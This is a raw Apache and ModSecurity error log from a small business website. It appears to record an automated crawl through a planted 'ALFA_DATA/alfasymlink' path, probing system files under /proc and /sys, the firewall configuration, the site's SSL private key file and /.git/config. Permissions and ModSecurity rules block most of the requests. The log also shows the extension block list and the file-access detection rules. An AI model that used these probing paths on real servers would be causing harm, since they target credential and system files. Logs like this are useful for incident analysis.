[Sat Oct 24 21:37:53.413321 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.196:64786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:00.0/rescan
[Sat Oct 24 21:37:54.139228 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 52.54.157.23:26491] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/subsystem/drivers/ata_piix/module/sections/__param
[Sat Oct 24 21:38:06.178592 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.203.237.170:3811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:38:14.127421 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 34.194.14.255:65207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:38:22.306082 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 54.145.82.217:4462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event1/device/event1/subsystem/input1/device/driver/unbind
[Sat Oct 24 21:38:30.169081 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 54.147.182.90:37155] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/pnp/devices/00:02/firmware_node/physical_node/firmware_node/subsystem/drivers/pvpanic/uevent
[Sat Oct 24 21:38:34.243357 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.171.117.160:37980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:38:38.283724 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 100.28.49.152:48872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:38:42.135510 2026] [ssl:error] [pid 2733464:tid 2733464] (5)Input/output error: [client 3.227.180.70:16368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:38:46.272425 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 34.195.248.30:41661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse0/device/subsystem/input0/subsystem/input1/device/firmware_node/physical_node1/driver/unbind
[Sat Oct 24 21:39:06.127443 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.205.91.101:15847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:09.446324 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.195:35272] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket440.conf"] [unique_id "at1dvT8oejtZfsaip1Yo6QAAABE"]
[Sat Oct 24 21:39:09.446770 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.195:35272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket440.conf"] [unique_id "at1dvT8oejtZfsaip1Yo6QAAABE"]
[Sat Oct 24 21:39:09.447309 2026] [security2:error] [pid 2684583:tid 2684583] [client 85.208.96.195:35272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/VXPocket440.conf"] [unique_id "at1dvT8oejtZfsaip1Yo6QAAABE"]
[Sat Oct 24 21:39:10.222462 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 100.28.133.214:33520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:14.124750 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.198.33.233:63740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:30.129193 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.195.60.66:57356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:38.126634 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.221.180.179:16038] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:42.239657 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.214.238.178:37464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS1/irq
[Sat Oct 24 21:39:46.249821 2026] [ssl:error] [pid 2693020:tid 2693020] (5)Input/output error: [client 44.221.180.179:15588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:39:58.125393 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.196.6.199:54308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:40:30.155922 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 3.222.85.38:31285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/subsystem/drivers/ohci-pci/remove_id
[Sat Oct 24 21:40:38.142145 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.226.89.140:59808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:40:42.134017 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.206.249.188:18934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:40:43.472754 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.5:50618] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/profiles/block_all_perm.conf"] [unique_id "at1eGz8oejtZfsaip1Yo7AAAABE"]
[Sat Oct 24 21:40:43.473134 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.5:50618] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/profiles/block_all_perm.conf"] [unique_id "at1eGz8oejtZfsaip1Yo7AAAABE"]
[Sat Oct 24 21:40:43.473613 2026] [security2:error] [pid 2684583:tid 2684583] [client 185.191.171.5:50618] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/profiles/block_all_perm.conf"] [unique_id "at1eGz8oejtZfsaip1Yo7AAAABE"]
[Sat Oct 24 21:40:46.250694 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.0.41.164:44051] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:40:50.120133 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.202.88.37:14749] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:40:54.145539 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.225.24.180:31341] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:41:02.123681 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.22.87.224:10417] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:41:06.124747 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 52.202.233.37:51916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:04/subsystem/drivers/thermal/unbind
[Sat Oct 24 21:41:10.138604 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 44.223.115.10:58967] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:41:30.152980 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 34.231.45.47:17233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:41:34.143343 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 44.212.131.50:52588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input5/subsystem/input4/device/driver/unbind
[Sat Oct 24 21:41:55.472613 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.193:52186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/cpu_partial
[Sat Oct 24 21:41:59.043240 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 85.208.96.209:16256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/aio_kiocb/alloc_calls
[Sat Oct 24 21:42:01.580749 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.13:11668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/order
[Sat Oct 24 21:42:06.135454 2026] [security2:error] [pid 2693034:tid 2693034] [client 18.205.127.11:11664] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/device/"] [unique_id "at1eblQTwXU83R4GW_mbSAAAACg"]
[Sat Oct 24 21:42:06.135500 2026] [security2:error] [pid 2693034:tid 2693034] [client 18.205.127.11:11664] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/subsystem/event2/device/"] [unique_id "at1eblQTwXU83R4GW_mbSAAAACg"]
[Sat Oct 24 21:42:22.131842 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.193.102.198:20018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:42:42.269893 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.94.199.128:2431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:42:51.724409 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 185.191.171.5:32050] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:43:18.140996 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.197.28.78:25063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:43:38.188860 2026] [security2:error] [pid 2692918:tid 2692918] [client 184.72.84.154:56639] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:03.0/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/slots/19/module/parameters/"] [unique_id "at1eyrUNAjBk2uOT2T-HdgAAAAo"]
[Sat Oct 24 21:43:38.188911 2026] [security2:error] [pid 2692918:tid 2692918] [client 184.72.84.154:56639] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:03.0/driver/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/slots/19/module/parameters/"] [unique_id "at1eyrUNAjBk2uOT2T-HdgAAAAo"]
[Sat Oct 24 21:43:54.268086 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.223.193.255:61158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:02.139850 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.157.84.74:16412] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:06.137026 2026] [ssl:error] [pid 2693034:tid 2693034] (22)Invalid argument: [client 54.84.169.196:51950] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:08.941029 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 185.191.171.13:15482] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:10.189751 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.235.172.96:54108] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:26.313649 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.232.82.72:4470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:42.176628 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.243.63.52:17499] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:44:44.809662 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.6:19978] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cd610_f018d_72a4de3d742213c9b119c971e1dfbe37.key"] [unique_id "at1fDPavbqLdB7btCU--XAAAABc"]
[Sat Oct 24 21:44:44.810077 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.6:19978] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cd610_f018d_72a4de3d742213c9b119c971e1dfbe37.key"] [unique_id "at1fDPavbqLdB7btCU--XAAAABc"]
[Sat Oct 24 21:44:44.810457 2026] [security2:error] [pid 2692979:tid 2692979] [client 185.191.171.6:19978] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/cd610_f018d_72a4de3d742213c9b119c971e1dfbe37.key"] [unique_id "at1fDPavbqLdB7btCU--XAAAABc"]
[Sat Oct 24 21:44:58.321548 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 52.22.64.232:7555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:45:10.194793 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.168.238.50:62915] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:45:18.137052 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.204.71.8:30268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:45:22.129055 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.205.213.231:51641] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:45:26.413217 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 44.223.115.10:45614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/event0/subsystem/event3/device/device/subsystem/devices/serio0/driver/unbind
[Sat Oct 24 21:45:34.149781 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 3.219.80.71:9393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:01.086170 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.198:38734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/block/sr0/device/delete
[Sat Oct 24 21:46:04.060241 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 185.191.171.18:50404] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:10.153513 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 50.19.221.48:47537] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/subsystem/ttyS1/device/subsystem/drivers/usb-conn-gpio/unbind
[Sat Oct 24 21:46:14.152047 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 3.212.205.90:31478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:22.149603 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 34.205.163.103:34865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:30.175423 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 23.21.148.226:25083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:38.164889 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.220.148.166:41272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:46.255693 2026] [ssl:error] [pid 2731598:tid 2731598] (5)Input/output error: [client 52.70.138.176:34952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:46:50.424949 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.205.163.103:37436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mice/subsystem/input0/device/subsystem/devices/device:03/physical_node/firmware_node/physical_node/driver/0000:00:02.0/resource0_wc
[Sat Oct 24 21:47:06.153679 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.85.7.119:21484] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:47:26.184521 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.236.41.241:53530] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:47:30.168332 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.70.100:46566] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:47:38.155751 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.156.124.2:44869] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:47:54.162668 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.230.69.161:26892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:47:56.033497 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.15:31436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/free_calls
[Sat Oct 24 21:47:58.277125 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.2.58.41:20258] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:02.160355 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.207.207.36:51704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:06.183065 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.216.86.144:5901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:10.164832 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 3.89.176.255:31191] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/tty8/subsystem/ttyS3/custom_divisor
[Sat Oct 24 21:48:14.176350 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.0.218.219:48397] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:34.156279 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.3.155.146:40834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:38.184118 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.212.219.113:49190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:42.158420 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.159.18.27:36870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:50.159350 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.200.142.199:51409] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:48:58.170264 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.3:40256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/btree_node/poison
[Sat Oct 24 21:49:06.167150 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.6.97.88:48158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/piix4_smbus/0000:00:01.3/firmware_node/physical_node/rescan
[Sat Oct 24 21:49:14.160415 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.235.125.129:63292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 21:49:30.320929 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 44.207.207.36:58660] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/ext4_pending_reservation/aliases
[Sat Oct 24 21:49:30.971959 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKjKiZtbKEGWJKoLWPgAAACE"]
[Sat Oct 24 21:49:30.972229 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKjKiZtbKEGWJKoLWPgAAACE"]
[Sat Oct 24 21:49:30.972563 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1gKjKiZtbKEGWJKoLWPgAAACE"]
